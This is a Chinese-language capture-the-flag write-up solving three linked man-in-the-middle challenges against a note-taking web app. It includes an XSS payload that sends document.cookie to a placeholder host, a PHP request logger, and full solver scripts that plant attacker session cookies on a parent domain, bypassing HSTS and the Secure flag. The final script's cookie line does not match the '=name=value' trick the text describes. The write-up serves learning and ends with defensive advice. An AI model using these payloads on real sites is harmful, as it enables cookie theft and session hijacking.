GMO Flatt Mini CTF #6 中文 Writeup

开篇废话

感觉真的很久没有做 CTF 了,在 Twitter 看到了这个活动就参加了。

题目

这三题是有关联性的,需要一题一题解。
总的题目为以下: 源码下载

あなたは通信経路上の攻撃者です。

你是通信链路上的攻击者。

とあるユーザーの通信を改竄し、秘密のノートを盗み見ましょう。

可以篡改用户的通信,一起来看秘密的笔记吧

なお、各種フォルダは以下のようになっています。

目前,各种文件夹如下所示

ノートを1つだけ管理できるシンプルなサービスです。

这是一个只能管理一个笔记的简单服务

今日のminictfの問題3つは全て同じソースコードで動作しており、環境変数によって一部設定が変わります。

今天 minictf 的三个问题都运行在相同的源代码上,其中一部分由环境变量配置。


victim_walker

被害者の以下の行動を自動化したものです。 後述するsample_solverを使う場合には、特に実装を読む必要はありません。

受害者的下列操作都是自动化的。在使用了 sample_solver 的场合,不需要太关心下面的原理以实现。

被害者はChromeでアクセスします

被害者使用 Chrome 访问网页(这里指的是笔记网站)

被害者は送信されたURLにアクセスします

被害者访问你发送的 URL

被害者はノートに秘密の情報を保持しており、これをリークする必要があります

被害者在笔记本中保存了机密信息,需要拿到泄露的信息

被害者はノートサービスを見ると、保存ボタンを必ず押します

受害者在看到笔记服务的时候肯定会按下保存按钮

なお、攻撃者は被害者のHTTPレスポンスを書き換えることができます(ブラウザレベルでの改竄なので、名前解決できないホストへの通信もDNS Spoofing考慮せずに偽造できます)。 また、書き換え対象は、想定解に必要な平文の対象(http://*.sandbox.tokyo/配下)リクエストのみにしています。(つまり、ここしか変える必要はないということです)

https://walker-alksdjfla-984167626310.asia-northeast1.run.app/ で動作しています。 全ての問題でこれを使ってください。

同時処理数の上限を定めていますが、定期的にエラーになるようだったらサーバーを増やすので連絡してください。 (そうならないよう上限を決めていますが、負荷が上がるとブラウザが正しく動かないケースもあるのでsolverに自信がある場合は数回試してください)

(自己翻译吧,我放弃治疗了)


sample_solver

中間者攻撃によってレスポンスを書き換える際のサンプルコードが入っています。 ここに時間を使うのは非本質なので用意しました。

这是使用中间人Rewrite攻击的示例代码,之所以写这个,是因为如果在这里花太多时间不是出这个题目的本意

insecure

第一道题就是完全不设防,把 cookie 偷出来就可以,甚至不需要分析 webapp 以及 victim_walker

(这里的使用了我之前做的 CTF 「Hackergame 2022 Writeup」 中所使用的。

<img src="1" onerror="fetch('http://xxx/ctf_/2022-hackergame_quiz/ustc_quiz.php?g=' + encodeURIComponent(document.cookie))">

服务端代码为(也可以只看 Nginx 日志):

<?php
file_put_contents(time(),json_encode($_SERVER));
$image = imagecreatetruecolor(1, 1);
$white = imagecolorallocate($image, 255, 255, 255);
imagefilledrectangle($image, 0, 0, 1, 1, $white);
header('Content-Type: image/png');
imagepng($image);
imagedestroy($image);

构造 solve.js:

const url = "https://insecure-aabbccdd.sandbox.tokyo/";
const walker_url = "https://walker-alksdjfla-984167626310.asia-northeast1.run.app/"; //docker
// const walker_url = "http://127.0.0.1:3000/"; //docker

(async () => {
  //最初に開くURL
  const openUrl = "http://insecure-aabbccdd.sandbox.tokyo/";

  //改竄対象のURL (httpのみ)
  const targetUrl = openUrl;

  //改竄されたHTTPレスポンス
  const body = `<img src="1" onerror="fetch('http://xxx/ctf_/2022-hackergame_quiz/ustc_quiz.php?g=' + encodeURIComponent(document.cookie))">`;

  const r = await fetch(walker_url, {
    method: "POST",
    headers: { "content-type": "application/json" },
    body: JSON.stringify({
      challengeId: 1, // 1~3
      url: openUrl,
      mitmRule: {
        targetUrl: targetUrl,
        responseCode: 200, // status
        responseHeaders: [
          {
            name: "content-type",
            value: "text/html",
          },
          {
            name: "content-length",
            value: body.length.toString(),
          },
        ],
        body,
      },
    }),
  });
  console.log(await r.json());
})();

PS:我其实废了很大劲去理解题目的意思,用了半个多小时终于把 solve.js 跑通了,做二题第三题就没时间了。

PPPPPS:中间还因为请求被 Cloudflare 拦截了,然后我的服务器没有收到日志,最后是使用了 XSS 平台来获取到 Cookie 的:

CF-WAF_EVENT

secure

大家都没做出来,这里参照题解的思路来想

这题开始要配合受害者以及攻击者视角一起看了,回过头来,这道题题目可能取得不太好,取名为 HSTS 可能更好点?

HINT

首先来看 HINT:

問題文のここにも注目。

HSTSのオプションに注目

要注意 HSTS 的 option

ブラウザレベルでの改竄なので、名前解決できないホストへの通信もDNS Spoofing考慮せずに偽造できます。

由于是在浏览器层面的篡改,所以即使是无法解析的 hostname ,可以在不考虑 DNS Spoofing 的情况进行伪造。

サブドメインから親ドメインへのちょっかいの出し方を考えてみよう。

思考如何在子域名的情况下干涉父域名

http://notexist.secure-quweroi.sandbox.tokyo/ の通信を書き換えて、親ドメインへCookieを書き込もう。

通过篡改 http://notexist.secure-quweroi.sandbox.tokyo/ 的通信,向父域名写入 Cookie。

自分自身のSessionにフラグを書き込むことを考えよう。 また、Cookieを完全に上書きするとflagが入手できない、保存するときにだけ有効なCookieを書き込むことはできないだろうか。

可以考虑把 flag 写到自己的 session ,另外如果 cookie 完全无法全部覆盖,那么能不能只能在保存的时候覆盖成自己的 session 呢?

审计源码

我们审查 webapp/src/app.js:

if(process.env.CHALLENGE_ID !== '1'){
  app.use(helmet.hsts({
    maxAge: 31536000,
    includeSubDomains: false,
    preload: false
  }))
}

我们可以 curl 看看:

> GET / HTTP/2
> Host: secure-quweroi.sandbox.tokyo
> User-Agent: curl/8.7.1
> Accept: */*
> 
* Request completely sent off
< HTTP/2 200 
< x-powered-by: Express
< strict-transport-security: max-age=31536000
< content-type: text/html; charset=utf-8
< etag: W/"xxxxx"
< x-cloud-trace-context: xxx
< date: Fri, 14 Feb 2025 11:55:49 GMT
< server: Google Frontend
< content-length: 764

众所周知,增加了 HSTS 后,浏览器会将这个域名提升成 HTTPS ,也就是浏览器访问一次后就不会再访问这个域名用 http 了(在 includeSubDomains: true 的情况下包括子域名也不行) 当然 huggy.moe 早在 2018 年就已经通过 hstspreload.org 增加了 HSTS 支持。

于是我们不能通过降级来直接拿到网站的 cookie 了,即使 cookie 没有赋予成 Secure 选项。


然后看看 routes/index.js:

<html>
<meta charset="utf-8">
<body>
<textarea id="content"></textarea>
<br>
<button id="post" disabled>投稿</button>
</body>
<script>
   onload = async (event) => {
      // 没有账号登录环节,直接下发 session
      await fetch(../api/auth/session', {method: 'POST'});
      // 获取当前笔记并且写入 `textarea`
      const note = await fetch(../api/note')
      document.querySelector('#content').value = (await note.json()).content;
      // 保存的时候提交到 `/api/note/save`
      document.querySelector('#post').addEventListener('click', function(){
        fetch(../api/note/save', {
            method: 'POST',
            headers: {"Content-Type": "application/json"},
            body: JSON.stringify({
                content: document.querySelector('#content').value,
            })
        });
      });
      document.querySelector('#post').disabled = false;
   }; 
</script>
</html>

victim_walker/app.js / doMitm 函数:

+---------------------------------------------+
| 创建 session,页面跳转到 PAGE[id]    |
| 输入 FLAG 并点击 `投稿` 按钮          |
+----------------------------------+
                    |
                    v
+-----------------------------------------------+
| Fetch.enable / requestPaused               |
| 拦截 HTTP 请求(假装 MITM)                   |
| ├─ 如果请求为 307 Redirect -> 继续请求        |
| ├─ 如果匹配 mitmRule -> 替换响应数据          |
+-----------------------------------------------+
                    |
                    v
+--------------------------------------------+
| 用户打开我们给的 HTTP 网页           |
+--------------------------------------------+
                    |
                    v
+--------------------------------------------+
| 只要用户看到像保存按钮 `#post:not([disabled])` 的元素的时候
总是会点击 `投稿` 按钮  

//このユーザーは投稿ボタンがあれば自動的に押下します  |
+--------------------------------------------+

因为开启了 HSTS ,因此我们无法使用降级攻击,并且是先打开ノートサイト再打开我们的网页,不会第二次输入 flag 所以做个假的钓鱼网页也是行不通的。


分析

从 HINT 和审计源码,我们可以知道以下信息:

  1. 由于 includeSubDomains: false 的原因,子域名不一定会上 HSTS,可以用于 MITM
  2. 子域名可以设置整个副域名的 cookie
  3. 如果覆盖了父域名的 cookie 其实会让我们不知道 flag 是什么,所以还需要指定 PATH 只在保存路径替换成我们的 cookie
  4. 受害者先写 flag 然后再打开我们 MITM 的网页。
  5. 受害者在打开我们 MITM 的时候看到 #post:not([disabled]) 后就会点击这个元素

于是我们的思路就很清晰了:

  1. 先 生成自己的 cookie session
  2. 随机写个子域名放我们的 http 的篡改网页
  3. MITM 网页使用 set-cookie 或者 document.cookie 设置父域名的 cookie
  4. 跳转回原来的 URL 拿到 flag

实战

首先就是拿自己的 session:

❯ curl https://secure-quweroi.sandbox.tokyo/api/auth/session -X POST -v
(略) 
* Request completely sent off
< HTTP/2 200 
< x-powered-by: Express
< strict-transport-security: max-age=31536000
< set-cookie: minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; Path=/
< content-type: application/json; charset=utf-8
< etag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"
< x-cloud-trace-context: 21f9fe77994c51ac448a43fd6527573d
< date: Mon, 17 Feb 2025 12:15:06 GMT
< server: Google Frontend
< content-length: 2
< expires: Mon, 17 Feb 2025 12:15:06 GMT
< cache-control: private
< 
* Connection #0 to host secure-quweroi.sandbox.tokyo left intact

其中的 minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409 就是 cookie


写 cookie:
planA 可以写到 header:

set-cookie: minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;

planB 可以写到 js:

document.cookie = "minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;"; 

跳转:

planA:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Refresh

refresh: 1, url=https://secure-quweroi.sandbox.tokyo/

planB:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Location

location: https://secure-quweroi.sandbox.tokyo/

planC:

location.href=https://secure-quweroi.sandbox.tokyo/;

成品

solve-2.js:

const url = "https://secure-quweroi.sandbox.tokyo/";
const walker_url = "https://walker-alksdjfla-984167626310.asia-northeast1.run.app/"; //docker
// const walker_url = "http://127.0.0.1:3000/"; //docker

(async () => {
  //最初に開くURL
  const openUrl = "http://h.secure-quweroi.sandbox.tokyo/";

  //改竄対象のURL (httpのみ)
  const targetUrl = openUrl;

  //改竄されたHTTPレスポンス
  const body = `<script>
  //   document.cookie = "minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;"; 
  //   location.href="${url}";
</script>`;
  const r = await fetch(walker_url, {
    method: "POST",
    headers: { "content-type": "application/json" },
    body: JSON.stringify({
      challengeId: 2, // 1~3
      url: openUrl,
      mitmRule: {
        targetUrl: targetUrl,
        responseCode: 200, // status
        responseHeaders: [
          {
            name: "content-type",
            value: "text/html",
          },
          {
            name: 'set-cookie',
            value: 'minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409; domain=secure-quweroi.sandbox.tokyo; path=/api/note/save;',
          },
          // You need use responseCode = 30x to use location 
          // {
          //   name: 'location',
          //   value: 'https://secure-quweroi.sandbox.tokyo/',
          // },
          {
            name: 'refresh',
            value: '1, url=https://secure-quweroi.sandbox.tokyo/',
          },
          {
            name: "content-length",
            value: body.length.toString(),
          }
        ],
        body,
      },
    }),
  });
  console.log(await r.json());
})();

get flag:

❯ curl https://secure-quweroi.sandbox.tokyo/api/note -H 'cookie: minictf=9bcb7cb1-d8fb-462c-9bd5-f71e595a6409;'
{"content":"flag{subd0m41n_1s_1n_y0ur_h34rt}"}⏎ 

小总结

从这里开始我们几乎不可能能拿到受害者的 cookie 了,只能采取偷梁换柱的办法替换掉现存的 cookie 。 当然如果网站有 CSRF 的话这个攻击方法就会失效了。

strict-secure

这个相比上题的区别是:
webapp/src/routes/auth.js:

res.cookie('minictf', value, {
  secure: process.env.CHALLENGE_ID === '3'
})

cookie 赋予了 Secure 属性

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie

其他和第二题没有区别。


我们在本地重现下环境,使用第二题的解法可以发现,有了 Secure 属性后,我们再访问 http ,是无法带上 cookie 以及无法赋值的:

ISSUE-COOKIE_SECURE

那么还有什么办法呢? (我也是看题解后才知道的)


众所周知,cookie 的一个值是这种格式的:

name=value; Secure; Path=/xxx;

如果我们的 name 是空的,然后 value 接 = 号会发生什么呢?

set-cookie: =minictf=caafedcd-c42c-49dc-81b6-f0679b5951d7; domain=strict-secure-mnxzzxcv.sandbox.tokyo; path=/api/note/save;'

众所周知 cookie 是 name=value 的,但是其实 parse 的过程中 value 后面的 = 号不需要没有再转义,于是可以变成 =name=value 的形式,并且 =name=value 这种格式又被排列到最优先等级(有 path=)于是我们就成功了:

=NAME=VALUE

于是第三题就用这种奇怪特性做出来了:

const url = "https://strict-secure-mnxzzxcv.sandbox.tokyo/";
const walker_url = "https://walker-alksdjfla-984167626310.asia-northeast1.run.app/"; //docker
// const walker_url = "http://127.0.0.1:3000/"; //docker

(async () => {
  //最初に開くURL
  const openUrl = "http://h.strict-secure-mnxzzxcv.sandbox.tokyo/";

  //改竄対象のURL (httpのみ)
  const targetUrl = openUrl;

  //改竄されたHTTPレスポンス
  const body = `
<script>
  location.href="${url}";
</script>
`;

  const r = await fetch(walker_url, {
    method: "POST",
    headers: { "content-type": "application/json" },
    body: JSON.stringify({
      challengeId: 3, // 1~3
      url: openUrl,
      mitmRule: {
        targetUrl: targetUrl,
        responseCode: 200, // status
        responseHeaders: [
          {
            name: "content-type",
            value: "text/html",
          },
          {
            name: 'set-cookie',
            value: 'minictf=caafedcd-c42c-49dc-81b6-f0679b5951d7; domain=strict-secure-mnxzzxcv.sandbox.tokyo; path=/api/note/save;'
          },
          {
            name: "content-length",
            value: body.length.toString(),
          }
        ],
        body,
      },
    }),
  });
  console.log(await r.json());
})();

总结

这些题比起 CTF 感觉更像是教学性质,我学习到了 =name=value 这种神奇用法。

期待下次还有什么颠覆我认知的奇怪特性(上次颠覆我的想象似乎是 referer 的 TYPO

另外这篇文章告诉我们一些道理,COOKIE 要加好限制,HSTS 要加好子域名,对于关键操作还需要加 CSRF 进一步防止这种偷梁换柱的事情发生。

以及使用 Cloudflare 来传 cookie 的时候可以先考虑把防御都关了,不然没收到请求会怀疑自己)



另外下次可能是先读懂题目再来做,慢慢来一行一行翻译可能做的速度反而还更快?